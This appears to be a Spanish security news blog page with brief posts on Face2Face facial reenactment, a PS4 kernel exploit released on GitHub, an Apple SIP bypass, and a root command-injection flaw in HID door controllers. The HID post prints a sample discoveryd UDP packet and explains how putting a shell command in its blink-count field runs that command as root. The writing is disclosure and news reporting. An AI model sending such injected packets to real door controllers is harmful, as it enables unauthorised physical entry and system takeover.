Página del proyecto Face2Face (Proc. Computer Vision and Pattern Recognition (CVPR), IEEE): http://www.graphics.stanford.edu/~niessner/thies2016face.html
  • Paper: PDF
  • Materiales adicionales: ZIP 
  • BibTeX: .bib
  • Google Scholar:
Los estudios de Hollywood ya deben estar frotándose las manos... y desde nuestra perspectiva este tipo de software también abre una nueva frontera a la hora de falsificar vídeos en tiempo real. Imaginar las posibilidades, desde suplantar la videollamada mediante Skype del novio/a para gastar una broma (a estudiar el cambio de voz) hasta emitir en las noticias un vídeo comprometiendo a algún político o famoso. 

¿Qué podrán creer nuestros ojos? Welcome video hackers!

Liberan el exploit "dlclose" para correr Linux en la PS4

Hace unos meses en la 32c3 (la CON de CCC en Alemania) el grupo Fail0verflow demostró que podía ejecutar Linux en la PS4 y publicó un loader. Eso sí, se reservó el exploit utilizado para evitar posibles represarias o demandas de Sony como la que le hicieron a Geohot por la PS3. 

A partir de ahí se inició una carrera de investigación en la que CTurt parece volver a estar activo y haciendo progresos. Especialmente con una vulnerabilidad de desbordamiento de pila en el kernel en la llamada al sistema con sys_dynlib_prepare_dlclose que como se hizo con el exploit BadIRET fue parcheada, concretamente en el firmware 2.00. Se trata del conocido como exploit dlclose cuyo funcionamiento fue confirmado por el popular bigboss (@psxdev).

Ya a la vuelta de la esquina, hace algo más de una semana, Zer0xFF publicó el código de un exploit dlclose para la versión 1.76 de firmware que sin embargo crasheaba cuando el exploit intentaba volver a userland. Sin embargo y sólo hace unos días el chileno Carlos Pizarro alias kR105 lo corrigió incluyendo el escalado de privilegios como root, la evasión del sandbox y el jailbreak. Además para usar Linux en la PS4 sin tener que escribir un loader también pone a disposición de cualquiera el fichero bzImage y initramfs.cpio.gz "...para conseguirte linux con un agradable bash en tu tv".

El código completamente funcional lo tenéis en github y puede compilarse mediante el SDK de CTurf. Tener en cuenta que no se trata de un CFW para poder usar juegos pirateados, pero si una "puerta abierta" para todo aquel que pueda quiera trastear y, aunque este exploit sólo funcionará sólo con firmware 1.76 antiguos (del 20 de agosto de 2014) todavía es posible comprar alguna consola. Si conseguís alguna tenéis dos métodos para usarlo:

dlclose exploit for PS4 fw 1.76: https://github.com/kR105/PS4-dlclose

Vulnerabilidad en controladores HID permite abrir puertas remotamente (y mediante un único paquete UDP)

Ricky “HeadlessZeke” Lawshae de Trend Micro ha descubierto un fallo en los sistemas de control de acceso de HID por el que un atacante podría enviar una petición UDP maliciosa para abrir una puerta y/o desactivar una alarma automáticamente y de manera no autorizada.

Las dos principales líneas de HID para sus controles de acceso son VertX y EDGE. Para que estos controladores se integren fácilmente en los sistemas de acceso existentes implementan el servicio discoveryd que responde a un paquete UDP en concreto.
Gracias a este servicio un sistema de administración remoto puede transmitir un broadcast de "descubrimiento" al puerto UDP 4070 y todos los controladores en la red responderán con información tal como su dirección MAC, el tipo de dispositivo, la versión del firmware e incluso su nombre personalizado (por ej. "Puerta Exterior Norte"). 


En principio es la única finalidad de este servicio pero, por alguna razón, discoveryd también contiene la funcionalidad para cambiar el patrón de parpadeo del LED de estado en el controlador. Esto se logra mediante el envío de un paquete al servicio discoveryd con el parámetro "command_blink_on" y el número de veces que queremos que el LED parpadee. Discoveryd a continuación, llama a system() para ejecutar /mnt/apps/bin/blink con el número pasado como argumento.

Desde hace años se conoce este funcionamiento, como podéis ver en el siguiente script de Brad Antoniewicz:
https://github.com/brad-anton/VertX/blob/master/VertX_Query.py

Y la petición de ejemplo sería la siguiente:
H( 42 ): 636f6d6d616e645f626c696e6b5f6f6e3b3034323b30312d32332d34352d36372d38392d61623b33303b    |      A: command_blink_on;042;01-23-45-67-89-ab;30;

El problema es que el argumento con el número de parpadeos no es saneado y en su lugar podemos enviar por ejemplo otro comando del sistema (por ej. `id`) y este se ejecutará en el shell de Linux, es decir, una vulnerabilidad de inyección de comandos con privilegios de root. Con ésto es posible hacer que cualquier controlador de un puerta ejecute un comando genérico de sistema mediante un único paquete UDP.

En definitiva, si usas controles de acceso HID en tu instalación, necesitarás urgentemente descargar la última versión de firmware disponible y actualizar.

Fuentes:
- Let Me Get That Door for You: Remote Root Vulnerability in HID Door Controllers
- Remotely unlock doors exploiting a flaw in HID Door Controllers 

Apple no corrige una vulnerabilidad en su Sistema de Protección de Integridad y publican un exploit que cabe en un tweet

SIP (System Integrity Protection), también llamado rootless, es un mecanismo de seguridad implementado por Apple en OS X El Capitán para que ciertos procesos del sistema, archivos y carpetas no puedan ser modificados o manipulados por otros procesos, incluso si son ejecutados por root o por un usuario con privilegios de root (sudo).

Hace poco Ian Beer de Google y Pedro Vilaça de SentinelOne nos hablaban de una vulnerabilidad (CVE-2016-1757) que permite la elevación de privilegios local evadiendo SIP y que afectaba a todas las versiones de OS X e iOS, un 0-day muy fácil de explotar mediante spear phishing o un ataque basado en navegador.

Para solucionarlo, Apple publicó esta semana OS X El Capitan 10.11.4 y iOS 9.3 que sin embargo parece que no ha terminado de solucionar el problema. Sirva de ejemplo el código del exploit que hace un par de días publicó el popular Stefan Esser (@i0n1c) y que cabe en... ¡un sólo tweet!:

https://twitter.com/i0n1c/status/714261458851221504